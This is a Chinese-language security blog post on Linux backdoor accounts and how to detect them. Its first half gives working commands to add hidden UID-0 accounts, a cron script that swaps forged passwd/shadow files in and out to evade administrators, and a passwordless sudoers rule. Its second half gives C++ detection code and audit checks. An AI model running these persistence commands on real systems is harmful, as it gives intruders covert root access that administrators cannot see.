Linux Hackers/Suspicious Account Detection
catalog
1. Linux黑客帐号攻击向量2. Linux可疑帐号检测模型
1. Linux黑客帐号攻击向量
0x1: 将黑客帐号添加到"root"组
1. useradd hacker -p hacker1232. usermod -a -G root hacker3. id hacker
0x2: 不使用系统指令添加系统帐号
1. vim /etc/passwd 新增一行: musicyxy:x:0:0::/:/bin/bash2. vim /etc/shadow 新增一行: musicyxy::13407:0:99999:7::://!wq
0x3: 基于crontab进行帐号隐藏
1. 利用crontab(计划任务)进行黑客帐号的隐藏2. 把用于隐藏黑客帐号的伪造passwd和shadow文件备份到别的地方(例如/tmp/passwd、/tmp/shadow),原目录(/etc/passwd、/etc/shadow)保持不变3. 将musicyxy:x:0:0::/:/bin/sh和musicyxy::13407:0:99999:7:::两条信息追加到伪造的passwd和shadow文件中4. 然后在每天的固定时间点将伪造的passwd、shadow文件替换到/etc/目录,并做好原始正常文件的备份,在过了这段时间窗口后,将原始正常文件还原回来5. 这样我们就可以在伪造文件生效的时间段内登陆系统,在不登陆的时候,伪造文件也会自动还原为正常文件,这样不容易被管理员发现
shell
#!/bin/bash//每天的11点40分运行cat /etc/passwd > /dev/ttypwd echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron; echo'40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron; echo'41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron; echo'41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;//每天的12点9分回滚原始正常passwd、shadow文件 echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron; echo'09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron; echo'10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron; echo'10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron; service crond restart; crontab/etc/door.cron;
这样,每天的后门帐号存活时间窗口为11:40~12:09
0x4: 添加UID=0的非root帐号
1. 添加普通用户: useradd hacker -p hacker123//新创建的用户会在/home下创建一个用户目录hacker2. 删除用户testuser所在目录 rm-rf /home/hacker3. 添加权限 vim/etc/passwd 把新加的用户uid和gid改为0: hacker:x:501:501::/home/hacker:/bin/bash -> hacker:x:0:0::/home/hacker:/bin/bash or useradd-u 0 -o -g root -G root -d /home/hacker hacker
0x5: 基于sudo指令隐藏高权限账户
不管sudoers文件在哪儿,sudo都提供了一个编辑该文件的命令: visudo来对该文件进行修改,它会帮你校验文件配置是否正确,如果不正确,在保存退出时就会提示你哪段配置出错的
<user list> <host list> = <operator list> <tag list> <command list> //hacker ALL=(ALL) NOPASSWD: ALL 1. user list: 用户/组,或者已经设置的用户的别名列表, 用户名直接username,用户组加上%,比如%admin2. host list: 主机名或别名列表3. operatorlist: runas用户,即可以以哪个用户、组的权限来执行4. tag list: 这个经常用到的是 NOPASSWD: 添加这个参数之后可以不用输入密码5. command list: 可以执行的命令或列表
黑客攻击手段
1. vim /etc/sudoers2. 添加一行: hacker ALL=(ALL) NOPASSWD: ALL3. sudo -u root /mnt/sudodir/cmd,不需要输入密码4. 这样就能实现hacker用户允许转换成任意用户及执行任意命令
Relevant Link:
http://read.newbooks.com.cn/info/156976.html http://network810.blog.51cto.com/2212549/1133349 http://jingyan.baidu.com/article/5bbb5a1b5cf43513eba179b5.html http://www.linux521.com/2009/system/201005/11198.html http://www.linux521.com/2009/system/201005/11198.html https://linux.cn/article-2655-1.html http://chenall.net/post/linux-sudo-config/
2. Linux可疑帐号检测模型
0x1: 检测root用户组的非root用户
1. 通过Bash指令: cut -d: -f1 /etc/passwd,获取当前账户列表2. 遍历列表,调用getpwnam、getgrgid获取每个账户的pw_name、pw_uid、pw_gid3. 检测是否存在异常帐号1) 非root账户,但是uid为02) 非root账户,但是gid为03) 非root账户,但是shell为/bin/bash、/bin/sh(非/sbin/nologin)
Code Example
#include <iostream>#include<stdio.h>#include<stdlib.h>#include<grp.h>#include<pwd.h>#include<unistd.h>#include<errno.h>#include<sys/types.h>void getUserInfo(const char *name) {struct passwd*pw;struct group*grp;if(name ==NULL){return;}pw= (struct passwd*)malloc(sizeof(structpasswd));grp= (struct group*)malloc(sizeof(structgroup)); pw=getpwnam(name);if (!pw){printf ("Couldn't find out about user %s, %d.\n", name, errno);return;}printf ("User login name is %s.\n", pw->pw_name);printf ("User uid is %d.\n", (int) (pw->pw_uid));printf ("User gid is %d.\n", (int) (pw->pw_gid));printf ("User home is directory is %s.\n", pw->pw_dir);printf ("User default shell is %s.\n", pw->pw_shell);//group infogrp = getgrgid (pw->pw_gid);if(!grp){printf ("Couldn't find out about group %d.\n", (int)pw->pw_gid);return;}printf ("User default group is %s (%d).\n", grp->gr_name, (int) (pw->pw_gid));return; }intmain() {FILE*fp = popen("cut -d: -f1 /etc/passwd", "r");if(fp ==NULL){return 0;}char line[1024];while(fgets(line, 1024, fp) !=NULL) {//std::cout << line;getUserInfo((const char *)line);}pclose(fp);return 0; }//g++ healthchcker.cpp -o healthchcker
Relevant Link:
http://blog.csdn.net/xocoder/article/details/8987135 http://pubs.opengroup.org/onlinepubs/009695399/basedefs/pwd.h.html https://www.mkssoftware.com/docs/man5/struct_group.5.asp http://www.embedu.org/column/Column185.htm http://www.cnblogs.com/hnrainll/archive/2011/05/07/2039692.html
0x2: /etc/sudoers异常配置检测
1. 打开/etc/sudoers2. 递归的处理include的情况3. 检查是否存在除了"root ALL=(ALL) ALL"之外的可疑配置
0x3: /etc/passwd、/etc/shadow权限检查
标准基线权限
1. /etc/shadow: other组不应该有写权限2. /etc/shadow: other组不应该有写权限
Copyright (c) 2015 LittleHann All rights reserved
转载于:https://www.cnblogs.com/LittleHann/p/4832891.html
Linux Hackers/Suspicious Account Detection相关推荐
- 【论文解读 CIKM 2018 | GEM】Heterogeneous Graph Neural Networks for Malicious Account Detection
论文链接:Heterogeneous Graph Neural Networks for Malicious Account Detection 来源:CIKM 2018(CCF-B 数据库,数据挖掘 ...
- 论文阅读笔记:GraphRAD---A Graph-based Risky Account Detection System
GraphRAD: A Graph-based Risky Account Detection System GraphRAD系统详解 1. 交易记录 将交易记录分为训练集和测试集.对于参数估计和调优 ...
- Linux下的motion detection(最简单的办公室监控系统) 邮件自动发送
http://caspian.dotconf.net/menu/Software/SendEmail/ 邮件的地点 http://skpsun.blog.163.com/blog/static/2 ...
- 基于CSI数据实现Suspicious object detection
1.介绍 Detection of Suspicious Objects Concealed by Walking Pedestrians Using WiFi提出了一种基于WiFi信道状态信息(CS ...
- Linux搭建LDAP Account Manager(LAM)
搭建 ldap account manager LAM一直更新的很快,所以有很多版本供选择 因为这边的网络环境不是特别的好,进LAM的官网去下载最新的比较慢,所以没有配置最新的版本 这是我自己找的一个 ...
- Linux解决——This account is currently not available
切换用户的时候报这个错:This account is currently not available 发现 /etc/passwd 下找到这个用户 cat /etc/passwd | grep 用户 ...
- 蚂蚁金服2018CIKM中GEM算法《Heterogeneous Graph Neural Networks for Malicious Account Detection》
2018 CIKM,Ziqi Liu et al. 蚂蚁金服,比较具有参考意义的工业届 paper.较早期的解决异构图网络的方法(将复杂的异构图[2种以上节点类型]拆成多个简单异构图[2种节点类型]来 ...
- Alleviating the Inconsistency Problem of Applying Graph Neural Network to Fraud Detection阅读笔记
Alleviating the Inconsistency Problem of Applying Graph Neural Network to Fraud Detection阅读笔记 文章标题:A ...
- linux内核趣味,有关Linux 50个趣味名人名言
50. I develop for Linux for a living, I used to develop for DOS. Going from DOS to Linux is like tra ...
最新文章
- empty怎么发音_empty,怎么读,解答要读出来,empty怎么读慢一点,清楚一点!
- 在SLES-11-SP1-i586上搭建apache+php环境
- vivox60pro和iqoo7pro哪个好
- python标准库math用来计算平方根的函数_《Python程序设计方案》题库
- Qt简单的解析Json数据例子(一)
- 最便宜5G手机登场 网友:看到名字犹豫了
- 索益Mike的excel商品操作
- 芯烨 Xprinter XP-DT108A 打印机驱动
- 不再东寻西找,常见数据库分页方法都在这里了
- Symbol的基本使用
- 兄弟连Linux笔记
- 如何关闭IE浏览器安全设置检查功能
- 熬秃了头整理的网络工程师学习笔记和心得:传闻中的OSPF到底是什么
- php java rsa_java和php实现RSA加密互通-b
- 养老展,2023中国北京国际养老产业博览会
- CAD导入Revit缺少东西原因-Revit中如何批量导出CAD图纸
- C# TreeView 控件的综合使用方法
- 中国黑客档案:黑客近景写真(1)
- 博云入选 Gartner 中国云原生领域代表性厂商
- 40G QSFP+光模块汇总
热门文章
- linux 下各个工具使用(screen、tmux,pyenv、virtualenv,pip国内源,tree)
- JavaScript学习笔记之原型对象
- eNSP重装之后,启动路由器时注册失败
- MVC4发布到IIS7报404错误
- 使用HttpUnit进行集成测试
- 同一解决方案内的多个项目之间如何引用?
- (100)FPGA RAM实现(V实现)
- linux日志删除1天前,Linux自动删除n天前日志
- apache目录 vscode_CentOS 上使用vscode 调试百度大数据分析框架Apache Doris BE
- linux网络编程 错误,网络编程的异常及处理